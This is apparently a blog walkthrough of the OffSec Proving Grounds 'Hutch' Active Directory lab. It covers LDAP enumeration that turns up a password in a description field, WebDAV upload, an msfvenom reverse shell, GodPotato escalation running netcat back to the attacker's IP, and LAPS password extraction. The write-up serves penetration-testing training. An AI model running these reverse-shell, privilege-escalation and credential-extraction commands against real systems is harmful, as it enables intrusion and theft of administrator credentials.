Sitemap

Offsec Proving Grounds: Hutch

10 min readNov 14, 2025

--

This AD lab is rated Intermediate by OffSec but hard by the community. It focuses on LDAP credential extraction, WebDAV exploitation, and leveraging Microsoft LAPS for privilege escalation.

I used Nmap with -sV for service enumeration, -sC for default scripts, -T4 for aggressive timing, -p- to scan all ports,-Pn to skip host discovery and running with sudo enables the default SYN stealth scan. With that in mind, Nmap revealed the following services:

sudo nmap -sV -sC -T 4 -p- -Pn -oN nmap_hutch 192.168.201.122
[sudo] password for ben:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 11:12 AEDT
Nmap scan report for 192.168.201.122
Host is up (0.10s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-webdav-scan:
| Server Date: Thu, 13 Nov 2025 00:15:31 GMT
| WebDAV type: Unknown
| Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
|_ Server Type: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-13 00:14:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49740/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

I didn’t include UDP scan and Gobuster results since they didn’t reveal anything useful, but running UDP scans is important for finding UDP services, and directory busting is recommended when you see an HTTP port open.

Looking at the scan results, it is safe to assume we are dealing with a Windows Domain Controller and we know this from services seen together on ports 53,88,389.

Port 53 is Simple DNS Plus which is typical on a DC, usually domain Controllers handle name resolution for the entire domain.

Port 88 is kerberos service, its the backbone of Windows authentication in a domain environment.

Ports 389/636 are LDAP and LDAPS related which is gold for us because LDAP often allows enumeration of domain users, passwords, and configuration data.

Ports 3268/3269 are Global Catalog services. Mainly it’s used for cross-domain queries in multi-domain forests.

Ports 139, 445, 135, 593 are all standard Windows networking services. 135, 593 is used by RPC and 139,445 are SMB/NetBIOS. Port 445 is our main SMB port for file sharing. These are your typical Windows domain ports. We’ll definitely want to enumerate SMB for shares and check if we have any anonymous access.

Port 5985 Windows Remote Management means we have remote PowerShell access available. All those high RPC ports are dynamically assigned RPC ports, they’re normal for Windows and not particularly interesting for us.

Finally, the Star of the Show! HTTP with WebDAV on port 80. With all those extra methods like PUT, COPY, PROPFIND, MKCOL, LOCK, and UNLOCK, it’s basically screaming “pick me pick me” and inviting us to enumerate it further.​ WebDAV essentially turns the web server into a network file system that we can interact with over HTTP. On a Domain Controller, this is typically enabled via IIS’s WebDAV module for file sharing and collaboration.

Before starting enumeration, I quickly ran davtest against WebDAV to check for file upload capabilities, but it requires authentication with no anonymous access allowed. So we make a note of that and move on.

Press enter or click to view image in full size

It’s time to learn more about the domain. From Nmap output we already know the domain name. We can also run enum4linux-ng -A which can provide great information sometimes but our focus is on LDAP so let’s query it to see what information we can extract.

Start by querying the root DSE, which is a special LDAP entry that holds server metadata like domain name and more. The -x flag uses simple authentication, -H specifies the LDAP URI, and -s base sets the search scope to query only the root object itself (rather than searching one level deep or the entire subtree).

ldapsearch -x -H ldap://192.168.201.122 -s base

This returns all available attributes which is too long to screenshot and I’m interested in hostname and domain so we can shorten the output just to get those by adding namingcontexts & dnsHostName to the above command.

ldapsearch -x -H ldap://192.168.201.122 -s base namingcontexts
ldapsearch -x -H ldap://192.168.201.122 -s base dnsHostName

The domain name is hutch.offsec and host name is hutchdc which is the first part of the FQDN hutchdc.hutch.offsec. I’ll add these to my hosts file in case they’re needed for Kerberos-related authentication.

Now that we have the base DN, we can query for different object types like users, groups, or computers. We’re mainly interested in user objects as they may contain credentials or sensitive information in their attributes.

This query will return a wealth of information including pwdLastSet, lastLogon, userPrincipalName, and many other useful attributes, all worth reviewing.

ldapsearch -x -H ldap://192.168.201.122 -b "dc=hutch,dc=offsec" "(objectClass=user)"

Since we usually looking for usernames and descrption fields as these commonly contain interesting information, we can add sAMAccountName and description attribute to the above command and only see those but for the sake of screen shot I’ll use grep to make it even more compact.

ldapsearch -x -H ldap://192.168.201.122 -b "dc=hutch,dc=offsec" "(objectClass=user)" sAMAccountName description
Press enter or click to view image in full size

As you can see, there’s a password in the description field for fmcsorley. If you remember from the Nmap results, port 5985 is open, so I tried logging in with evil-winrm but that failed. If there were any other ports that could give us direct access like RDP, SSH, etc., we would try those first as well.

Press enter or click to view image in full size

WinRM didn’t work, but now we have a usernames so we create a usernames.txt file test it with the password we got across all users. Password spraying is a critical step in AD environments since credential reuse is very common, and we should always do this when we find new credentials. In this case, no additional valid accounts were found, so I moved on to enumerating SMB with the credentials we already have.

nxc smb 192.168.201.122 -u fmcsorley -p CrabSharkJellyfish192 --shares
Press enter or click to view image in full size

These are all standard default shares IPC$, NETLOGON, and SYSVOL with READ access. So I’ll move on to try WebDAV with the credentials we have.

Get NullEsc’s stories in your inbox

Join Medium for free to get updates from this writer.

Kali comes with two main WebDAV testing tools: davtest and cadaver. davtest automatically tests what file types can be uploaded and executed on the server, while cadaver is a command-line client that allows manual interaction with the server, similar to an FTP client but for WebDAV.

└─$ davtest -url http://192.168.201.122/ -auth fmcsorley:CrabSharkJellyfish192 
********************************************************
Testing DAV connection
OPEN SUCCEED: http://192.168.201.122
********************************************************
NOTE Random string for this session: 6xOpQbz72P
********************************************************
Creating directory
MKCOL SUCCEED: Created http://192.168.201.122/DavTestDir_6xOpQbz72P
********************************************************
Sending test files
PUT jsp SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jsp
PUT cfm SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cfm
PUT aspx SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx
PUT txt SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt
PUT shtml SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.shtml
PUT php SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.php
PUT pl SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.pl
PUT cgi SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cgi
PUT asp SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp
PUT jhtml SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jhtml
PUT html SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html
********************************************************
Checking for test file execution
EXEC jsp FAIL
EXEC cfm FAIL
EXEC aspx SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx
EXEC aspx FAIL
EXEC txt SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt
EXEC txt FAIL
EXEC shtml FAIL
EXEC php FAIL
EXEC pl FAIL
EXEC cgi FAIL
EXEC asp SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp
EXEC asp FAIL
EXEC jhtml FAIL
EXEC html SUCCEED: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html
EXEC html FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://192.168.201.122/DavTestDir_6xOpQbz72P
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jsp
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cfm
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.shtml
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.php
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.pl
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cgi
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jhtml
PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html
Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx
Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt
Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp
Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html

Of course we can do this with cadaver but its nice to know there is this tool out there. The davtest output shows ASPX files are successfully processed by the server, so now we’ll use cadaver to upload an ASPX web shell and a file called shell.exe using msfvenom with the following command:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.190 LPORT=443 -f exe -o shell.exe
Press enter or click to view image in full size

shell.exe should be in the wwwroot directory we can check by listing its contents then run it.

Press enter or click to view image in full size

Whenever I land a shell, I usually start by trying to understand my user context: who I am, what groups I belong to, what privileges I have, and what local accounts exist on the machine before exploring anything else.

Press enter or click to view image in full size

We are operating as iis apppool\defaultapppool, which is a default IIS account and usually has low privileges but here it has SeImpersonatePrivilege, a high risk privilege we can use to escalate to SYSTEM with potato-style attacks or similar. With that in mind I moved GodPotato-NET4.exe and nc.exe over to temp file and ran the following:

PS C:\Windows\Temp> .\gotpotato4.exe -cmd "C:\Windows\Temp\nc64.exe -e cmd 192.168.45.190 443"
Press enter or click to view image in full size

We got NT system but lets do this another way now. Back to our default iis user, I’ll transfer SharpHound and run it with -c All to capture everything it can.

.\SharpHound.exe -c All --ZipFileName data.zip
Press enter or click to view image in full size
Press enter or click to view image in full size

Now lets send it back to Kali and upload it to BloodHound. To do that I’ll start an SMB server on Kali and copy the file over. share is the SMB share name, -smb2support enables SMB2 protocol support, and we specify a username and password for authentication.

impacket-smbserver share . -smb2support -username jamesbond -password 007
Press enter or click to view image in full size

After uploading the zip file to BloodHound, you should first mark as owned any objects that you control in the Active Directory environment. This includes users, groups, computers, etc.

We only have fmcsorley so search for the name and add it to owned. If we click on fmcsorley, we see there is 1 outbound object control. Outbound object control means this user has permissions that allow them to control another Active Directory object. In this case the permission is ReadLAPSPassword, which gives the user access to retrieve the local administrator password for that specific computer through LAPS (Local Administrator Password Solution).

Press enter or click to view image in full size

There are many ways to do this. BloodHound also suggests using bloodyAD, which is one of my favourite tools but there is an even easier way, using the NetExec LAPS module over the LDAP protocol:

nxc ldap 192.168.201.122 -u fmcsorley -p CrabSharkJellyfish192 -M laps
Press enter or click to view image in full size

Now we should be able to sign in with the password we just got.

Press enter or click to view image in full size

And that’s it! Remember, there are many ways we could have done this. Explore different tools, different approaches. Build a methodology. It doesn’t have to be perfect! Just having the right mindset to approach things will help you navigate and problem-solve more efficiently. If you get stuck, don’t get discouraged. You’ve just found an opportunity to learn something new!

Thank you for reading.
Stay curious, stay kind, and keep learning. Until the next pivot…

--

--

NullEsc
NullEsc

Written by NullEsc

4× Microsoft Azure certified (AZ‑104, AZ‑305, AZ‑500, SC‑300)